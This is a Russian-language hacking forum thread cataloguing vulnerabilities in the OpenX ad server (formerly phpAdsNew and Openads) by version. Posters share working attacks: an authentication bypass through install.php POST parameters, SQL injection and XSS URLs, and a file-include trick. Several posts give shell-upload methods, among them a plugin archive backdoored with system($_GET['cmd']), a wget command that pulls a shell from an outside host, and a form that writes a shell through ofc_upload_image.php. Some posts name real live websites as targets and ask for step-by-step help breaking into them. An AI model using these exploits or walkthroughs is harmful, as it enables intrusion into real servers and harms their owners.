[ Обзор уязвимостей OpenX (phpAdsNew, Openads) ]

Discussion in 'Веб-уязвимости' started by (Dm), 21 Oct 2009.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Обновлено 21.04.2010 (Спасибо всем за активность)

    [ + ] Общая информация:
    Сайт: http://openx.org
    Текущая версия: OpenX 2.8.5

    [ + ] Краткий экскурс в названия:
    phpAdsNew, Openads, OpenX - это название одного продукта, которое менялось в течении времени.

    phpAdsNew - название движка c версии 2.0 до 2.0.9
    Openads - название движка c версии 2.0.10 до 2.4.3
    OpenX - название движка c версии 2.4.4 до настоящего момента


    [ + ] Структура БД:
    >> ветка OpenX 2.6; OpenX 2.8
    >> ветка OpenX 2.4
    >> ветка OpenX 2.0

    [ + ] Уязвимости для всей ветки OpenX 2.0 [phpAdsNew все версии, Openads до 2.0.11-pr1 включительно]
    >> Раскрытие пути
    условия:
    + display_errors = On

    сплоит:
    >> XSS
    условия:
    + register_globals = On

    сплоит:
    >> Выполнение php кода
    условия:
    + $phpAds_config['type_html_php'] = true; // default false
    + наличие html баннера
    + register_globals = On


    сплоит:
    [ + ] Уязвимости phpAdsNew 2.0 - 2.0.5
    >> Local File Include
    http://securityreason.com/achievement_securityalert/21

    сплоит:
    Примечание: возможно использовать ////[4096]//// как альтернатива null byte

    [ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr2
    >> Выполнение php кода (XML-RPC Library Remote Code Execution)
    http://www.securityfocus.com/bid/14088/info

    сплоит:
    [ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr1
    >> Раскрытие пути
    http://securityreason.com/achievement_securityalert/9
    условия:
    + display_errors = On

    сплоит:
    >> XSS
    http://securityreason.com/achievement_securityalert/9

    сплоит:
    [ + ] Уязвимости Openads 2.4.0 - 2.4.2
    >> Выполнение php кода
    сплоит:
    [ + ] Уязвимости OpenX 2.6.0 - 2.6.3
    OpenX 2.4.4 - 2.4.9
    Openads 2.4.0 - 2.4.3

    >> Local File Include
    http://milw0rm.org/exploits/7883
    Условия:
    + magic_quotes_gpc = Off

    сплоит:
    Примечание: используется функция file_exists - для проверки, поэтому ////[4096]//// не подойдет как альтернатива null byte

    [ + ] Уязвимости OpenX 2.6.0 - 2.6.1
    OpenX 2.4.4 - 2.4.8
    Openads 2.4.0 - 2.4.3

    >> SQL injection
    Есть сплоит на milw0rm - мало того что написан как blind sql injection, хотя там обычная инъекция с выводом X_X, так он ещё и корявый, писал какой-то калека.

    сплоит для OpenX 2.6.0 - 2.6.1:
    Примечание: вывод будет в заголовок страницы <title> ... </title>

    сплоит для OpenX 2.4.4 - 2.4.8
    Openads 2.4.0 - 2.4.3:

    Примечание: вывод будет в заголовок страницы <title> ... </title>

    [ + ] Уязвимости OpenX 2.6.0 - 2.6.4
    OpenX 2.4.4 - 2.4.10
    Openads 2.4.0 - 2.4.3

    >> Blind sql injection
    условия:
    + magic_quotes_gpc = Off

    Описаниe: http://resources.enablesecurity.com/advisories/openx-2.6.4-multiple.txt

    [ + ] Уязвимости OpenX 2.8.0 - 2.8.5
    >> Раскрытие пути
    условия:
    + display_errors = On

    сплоит:
    [ + ] Уязвимости OpenX 2.8.0
    >> Обход аутентификации пользователя

    сплоит:
    [ + ] Уязвимости OpenX 2.8.2 - 2.8.3
    >> Раскрытие установочной информации

    сплоит:
    Уязвимости которых нет:
    PS Если найдете какие либо неточности, ошибки или будут вопросы по уязвимостям, пишите в личку.
     
    #1 (Dm), 21 Oct 2009
    Last edited: 21 Apr 2010
    17 people like this.
  2. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Загрузка шелла

    Универсальный способ загрузки шелла.
    условия:
    + Доступность на запись файла config.inc.php

    Описание:
    >> Для ветки OpenX 2.0
    1.
    >> Для ветки OpenX 2.4
    1.
    >> Для ветки OpenX 2.6
    1.
    >> Для ветки OpenX 2.8
    1.
    2.
    3.
    4.
     
    #2 (Dm), 26 Oct 2009
    Last edited: 1 Nov 2009
    5 people like this.
  3. brain[pillow]

    brain[pillow] Active Member

    Joined:
    7 Nov 2008
    Messages:
    7
    Likes Received:
    103
    Reputations:
    74
    OpenX 2.8.2, раскрытие пути:
    /www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
    /www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
    /www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
    /www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
     
    2 people like this.
  4. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    Уязвимости OpenX 2.8.0
    запрашиваем http:/site.com/openx/www/admin/install.php
    оказываемся в админке если есть права на запись в кофиг фаил заливаем шелл
    Уязвимости OpenX 2.8.2
    В паблике реализации уязвимости пока не видел :
    запрашиваем: http:/site.com/openx/www/admin/install.php
    передаём постом параметры : btn_openads=1&btn_plugins=1
    попадаем в админку заливаем шелл )
    узязвимый код в install.php :
    PHP:
    ..........................................
    // No upgrade file? No installer! Unless the user is in the last step
    if (!file_exists(MAX_PATH.'/var/UPGRADE') && !isset($_POST['btn_openads'])) {
        
    header("Location: index.php");
        exit;
       }
    .........................................
    наличие btn_openads в посте пропускает нас дальше :
    PHP:
               else if (array_key_exists('btn_plugins'$_POST))
    {
        require_once 
    MAX_PATH.'/lib/JSON/JSON.php';
        
    $aUrls = array();
    наличие btn_plugins пропускает нас в админку !
    Альтернативный спосов заливки shell
    Берем стандартный плагин для openx из папки etc/plugins/ скрипта установки.
    Добавляем в начало любого из файлов system($_GET['cmd']) для примера : Открываем openX3rdPartyServers.zip и в /plugins/3rdPartyServers/ox3rdPartyServers/ файлу архива добавляем к adtech.class.php system($_GET['cmd']) сохраняем имеем универсальный шелл для версий выше 2.6
    Для заливки шелла заходим в админку жмякаем кнопку плагинс в 2,8 версии (В 2,6 тыкаем конфиг->плагинс )в открышемся вкладке такаем кнопку обзор выбераем где у нас хранится наш изменённый openX3rdPartyServers.zip жмякаем на кнопку import code нажимаем кнопку конфиг и наш шелл подгружается ))) или по прямому адресу http:/site.com/openx/plugins/3rdPartyServers/ox3rdPartyServers/adtech.class.php )))))) ещём другую папку доступную для записи к примеру www/images/ (всегда доступна на запись ) и заливаем полноценный шелл к примеру (если есть wget)
    "cd ../images/ && wget -O shell.php http://shell.com/shell.txt")
    по адресу *www/images/shell.php имеем полноценный шелл
     
    #4 MaSTeR GэN, 21 Jan 2010
    Last edited: 21 Jan 2010
    8 people like this.
  5. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    OpenX 2.8.0
    OpenX 2.8.2
    OpenX 2.8.3


    Пока раскрытие установчной директории скрипта и некоторые настройки сервера:
    Code:
    http://url.com/openx/www/admin/install.php
    
    И постом параметры:
    btn_openads=1&btn_syscheck=1
    Рабочий пример:
    igromania.ru
    http://bs.igromania.ru/www/admin/install.php
     
    1 person likes this.
  6. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    (Dm), спасибо огромное за обзор и остальным также.

    Но есть вопрос - добыл из базы хеш и логин, хеш брученый был уже, поэтому ввел логин и пасс в админку - но мне пишет, что нужно включить куки для авторизации.
    Куки, естественно, включены. Из-за чего такое может быть?
     
  7. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    2попугай а openx вообше выдает баннеры на страницу ? :)
    Я тут вот по какому вопросу зашел )))
    http://securityreason.com/wlb_show/WLB-2010010098
    кто нить что нибудь понимает ? лично я нет, где там иньекция ,сижу втупляю не могу не хрена понять :D и вообше какое это отношение к самому движку имеет то ? ((
     
    #7 MaSTeR GэN, 15 Feb 2010
    Last edited: 15 Feb 2010
  8. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    В каком смысле "на страницу"? Хочешь посмотреть существующие банеры? В админке можно это сделать(точно не могу сказать где именно, ибо не помню и openx щас нет).

    А насчет инъекции - может у тебя версия другая?
     
  9. gabarea

    gabarea New Member

    Joined:
    30 Mar 2010
    Messages:
    30
    Likes Received:
    2
    Reputations:
    1
    openx.pmgnews.com/www/admin/index.php - 2.8.1
    arkansas-catholic.org/adserver/www/admin/index.php - 2.8.1
    ikeafans.com/openx/www/admin/index.php - 2.8.2
    mondofacto.com/openx/www/admin/index.php - 2.8.2
    ultimatecampresource.com/openads/www/admin/index.php - 2.8.3
    a.soft32.com/www/admin/index.php - 2.8.3

    почему не работает install.php этой ссылки?
     
  10. jjokker

    jjokker Member

    Joined:
    19 Apr 2008
    Messages:
    7
    Likes Received:
    18
    Reputations:
    0
    почему не работает?
    http://a.soft32.com/www/admin/install.php
    Code:
    /var/vhost/openx/var  	OK
    /var/vhost/openx/var/cache 	OK 
    http://mondofacto.com/openx/www/admin/install.php
    Code:
    /data/www/openx/var  	OK
    /data/www/openx/var/cache 	OK
    /data/www/openx/var/plugins 	OK
    /data/www/openx/var/templates_compiled 	OK 

    и так далее....
    ты видимо не внимательно читал ...
    написано же , что обратится надо к скрипту install.php c POST параметрами
    btn_openads=1&btn_syscheck=1
     
  11. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    не имеет никакого отношения.
     
    3 people like this.
  12. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    OpenX 2.6.4
    LFI
    Need: Права админа
    /openx/www/admin/stats.php?entity=../../../../../../shell&breakdown=Обязательно пустое.
    // shell, у меня там просто в папке с OpenX лежит файл shell.php, там <?PHP phpinfo(); ?> Код выполнился.
    Если breakdown не вписать, то будет инклюдиться нечто вроде:
    openx/lib/OA/Admin/Statistics/Delivery/Controller/../../../../../../shellAdvertiser.php

    PHP:
    // Prepare the stats controller, and populate with the stats
    $oStatsController = &OA_Admin_Statistics_Factory::getController($entity "-" $breakdown$aParams);
    if (
    PEAR::isError($oStatsController)) {
        
    phpAds_Die('Error occured'$oStatsController->getMessage());
    }
    $oStatsController->start();
    Ну вроде тот код, т.к. искал по началу в слепую.


    Пассивная XSS:

    openx/www/admin/stats.php?entity=campaign&breakdown=history&clientid=1&campaignid=1'%22%3E%3Cscript%3Ealert();%3C/script%3E
     
    #12 Ctacok, 24 Apr 2010
    Last edited: 24 Apr 2010
    2 people like this.
  13. gabarea

    gabarea New Member

    Joined:
    30 Mar 2010
    Messages:
    30
    Likes Received:
    2
    Reputations:
    1
    http://downloads.securityfocus.com/vulnerabilities/exploits/37110.rb

     
    #13 gabarea, 11 May 2010
    Last edited by a moderator: 15 Jun 2010
  14. gabarea

    gabarea New Member

    Joined:
    30 Mar 2010
    Messages:
    30
    Likes Received:
    2
    Reputations:
    1
    нет новой уязвимости в системе OpenX? Меня интересует больше 2.8.1 и 2.8.2. Я не понимаю, как загрузить оболочку, используя btn_openads = 1 и btn_syscheck = 1.

    Я здесь еще сайты ..

    adserv.eightyfourmedia.com/www/admin/index.php - 2.8.2
    openx.rsv05-jugend.de/www/admin/index.php - 2.8.2
    ads.apj.dk/www/admin/index.php- 2.8.1
    www.mobilescandinavia.dk/openads/www/admin/index.php - 2.8.5
    banner.danske-it-eksperter.dk/www/admin/index.php - 2.8.4
    openx.findpriser.dk/admin/index.php - 2.8.1
    ads.gld.dk/www/admin/index.php - 2.8.5
    ads2.dk-kogebogen.dk/www/admin/index.php - 2.8.5

    jjokker Вы можете написать здесь шаг за шагом? спасибо
     
    #14 gabarea, 9 Sep 2010
    Last edited: 9 Sep 2010
  15. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Уязвимости openX

    openX 2.8.6

    Path disclosure
    http://localhost/openx-2.8.6/www/admin/plugins/openXWorkflow/application/bootstrap.php

    Path disclosure
    display_errors = On
    Code:
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-debug.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-api.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/stats-export-csv.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/navigation/oxVastMenuChecker.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_base.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_hollow.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_area_line.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_bar_filled.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_dot.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_line_hollow.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_sugar.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_y_axis_right.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/function.url.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/SmartyFunctions/modifier.formatNumber.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/AreaGraph.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/BaseGraph.php
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/Graph/Flash/LineGraph.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/oxMarket.class.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketActiveChecker.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketAdminStatsChecker.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketEntityChecker.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketMultipleAccountsModeChecker.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/navigation/oxMarketStandaloneModeChecker.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Advertiser.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/Dal/Campaign.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignForm.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/CampaignsSettings.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityFormManager.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityHelper.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/EntityScreenManager.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/FloorPriceCompare.php
    http://localhost/openx-2.8.6/www/admin/plugins/oxMarket/library/OX/oxMarket/UI/rule/QuickFormFloorPriceCompareRuleAdaptor.php
    ...
    раскрытий много.
    
    Path disclosure
    display_errors = On
    Code:
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
    
    барыжная XSS
    Code:
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=%3Cimg%20alt=%22%ED%E0%E6%EC%E8%22%20onmouseover=%22javascript:alert%28123%29%22%20%3E
    ofc_upload_image.php
    PHP:
    /*...*/ 
    // full path to the saved image including filename //
    $destination $default_path basename$_GET'name' ] );

    echo 
    'Saving your image to: '$destination;
    /*...*/
    Записываем шелл
    ofc_upload_image.php
    rg on
    PHP:
    /*...*/
    // default path for the image to be stored //
    $default_path '../tmp-upload-images/';

    if (!
    file_exists($default_path)) mkdir($default_path0777true);

    // full path to the saved image including filename //
    $destination $default_path basename$_GET'name' ] );

    echo 
    'Saving your image to: '$destination;
    // print_r( $_POST );
    // print_r( $_SERVER );
    // echo $HTTP_RAW_POST_DATA;

    //
    // POST data is usually string data, but we are passing a RAW .png
    // so PHP is a bit confused and $_POST is empty. But it has saved
    // the raw bits into $HTTP_RAW_POST_DATA
    //

    $jfh fopen($destination'w') or die("can't open file");
    fwrite($jfh$HTTP_RAW_POST_DATA);
    fclose($jfh);

    //
    // LOOK:
    //
    exit();
    /*...*/
    Если б небыло дальше exit(), то можно было лить шелл бес зависимости.
    HTML:
    <form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=wso.php' method=post enctype=multipart/form-data>
    <textarea rows="10" cols="45" name="HTTP_RAW_POST_DATA"></textarea>
    <input type=submit value=Загрузить></form>
    будет текст:
    Шелл будет тут:
    Code:
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/tmp-upload-images/wso.php
    localhost/openx-2.8.6 змаенить на [host]/[path]

    скоро буду дальше смотреть(времени мало) ...

    Решил почитать о $HTTP_RAW_POST_DATA

    Оказуетцо, если register_globals off, то все же писать данные в файл возможно.
    Только данные урл-кодируютцо, если не урл-кодированные, то мы имеем шелл.
    Как послать данные не урл-кодированные думаю все вы знаете. :)

    В $HTTP_RAW_POST_DATA заганяютцо пост-даные напрямую.

    в php.ini должно быть
    файл 1.php:
    Code:
    <form method="post">
    <input name="data" type="text" value="12345">
    <input type="submit" value="Send">
    </form>
    <?php echo $HTTP_RAW_POST_DATA; ?>
    обращаемся:
    Code:
    http://localhost/1.php
    результат:
    data=12345

    експлоит:
    Code:
    <form action='http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=222.php' method=post>
    <input name="Name" type="text" value="[используем не кодированные данные!]">
    <input type="submit" value="Send">
    </form>
    
    Наш шелл в даном случае тут:
    Code:
    http://localhost/openx-2.8.6/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=222.php
    заменяем localhost/openx-2.8.6 на [host]/[path]

    Хе-хе, самое интересное, когда пихать с атрибутом enctype, то нет никакого результата.
    Code:
    <form method="post" enctype=multipart/form-data>
    <input name="data" type="text" value="12345">
    <input type="submit" value="Send">
    </form>
    <?php echo $HTTP_RAW_POST_DATA; ?>
    зы
    PHP Version 5.2.14, нужная директива была закоментирована :(
     
    #15 Strilo4ka, 12 Sep 2010
    Last edited: 26 Sep 2010
    3 people like this.
  16. gabarea

    gabarea New Member

    Joined:
    30 Mar 2010
    Messages:
    30
    Likes Received:
    2
    Reputations:
    1
    Для OpenX 2.8.1 эксп находится по адресу install-plugin.php?status=1&plugin=openXMarket
    Почему на конкретном примере по адресу http://www.freegolfschool.com/oa/www/admin/install-plugin.php?status=1&plugin=openXMarket он не работает?
    Для версии OpenX 2.8.4 эксп для видео плагина расположен в ofc_upload_image.php.
    Я нашел похаканый сайт http://www.knockknockrecords.com/openx/www/admin/plugins/videoReport/lib/tmp-upload-images/, где x.php и cloud.php уже кемто загружены.
    Я пробую заюзать http://www.knockknockrecords.com/openx/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=1.php&HTTP_RAW_POST_DATA= ,
    но 1.php пуст. Почему?
     
  17. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    pXSS
    /plugins/deliveryLimitations/Client/lib/phpSniff/index.php
    PHP:
    /*...*/
    require_once('phpSniff.class.php');
    require_once('phpTimer.class.php');
    /*...*/
    $sniffer_settings = array('check_cookies'=>$GET_VARS['cc'],
                              'default_language'=>$GET_VARS['dl'],
                              'allow_masquerading'=>$GET_VARS['am']);
    $client =& new phpSniff($GET_VARS['UA'],$sniffer_settings);
    /*...*/
    <tr>
    <td bgcolor="<?php print $c1_bg?>">ua</td>
    <td width="100%" bgcolor="<?php print $c2_bg?>"><?php print $client->get_property('ua');?></td>
    </tr>
    /*...*/
    /plugins/deliveryLimitations/Client/lib/phpSniff/phpSniff.class.php
    PHP:
    /*...*/
    function phpSniff($UA='',$settings true)
    {
    /*..*/
    if(empty($UA)) return false;
            
            
    $this->_set_browser('ua',$UA);
            if(
    $run$this->init();
    /*...*/
      
    function property ($p=null)
        {   if(
    $p==null)
            {   return 
    $this->_browser_info;
            }
            else
            {   return 
    $this->_browser_info[strtolower($p)];
            }
        }
    /*...*/
     
    function _set_browser ($k,$v)
        {   
    $this->_browser_info[strtolower($k)] = strtolower($v);
        }
    /*...*/
    function get_property ($p)
        {    return 
    $this->property($p);
        }
    /*...*/
    Code:
    PoC
    http://[host]/[path]/plugins/deliveryLimitations/Client/lib/phpSniff/index.php?UA=%3Cscript%3Ealert%28123%29%3C/script%3E
    
    Проверил на OpenX 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7.

    Path disclosure
    условия -> никаких
    на данный момент на последней ветке 2.8.7 что нашел --> работает
    Code:
    PoC http://[host]/[path]/www/admin/plugins/openXWorkflow/application/bootstrap.php
     
  18. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    gabarea,

    1.
    http://openx-2.8.1/www/admin/install-plugin.php?status=1&plugin=openXMarket
    Там path disclosure не смотря код. Надо посмотреть код.

    2.
    Потому что для експулатации нет условий.
    В даном случае:
    Code:
    [COLOR=Green]register_globals[/COLOR] Off
    [COLOR=Green]always_populate_raw_post_data[/COLOR] Off.
    
    Ну если возможно переопределить $HTTP_RAW_POST_DATA как то бес етих директив, то я буду не прав.
     
    #18 Strilo4ka, 20 Oct 2010
    Last edited: 20 Oct 2010
  19. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    (Dm) ты забыл сказать что в phpAdsNew должна быть включена опция:

    Опции HTML-баннеров =>Разрешить выполнение PHP-выражений из HTML-баннера

    тогда код будет выполнятся, если опция неактивна, то в html-сырцах страницы мы увидим php-код

    к сожалению я не так много видел сайтов, где эта опция активирована. а обычно на сайтах запирают файл config.inc.php и шел уже таким способом не залить
     
  20. darkhouse

    darkhouse New Member

    Joined:
    30 Jul 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Openads v2.3.35-beta
    слепая скуля
    http://target.com/ads/www/delivery/ac.php?bannerid=24 and 1=1
    не знаю может и баян, но в ветке нету ;)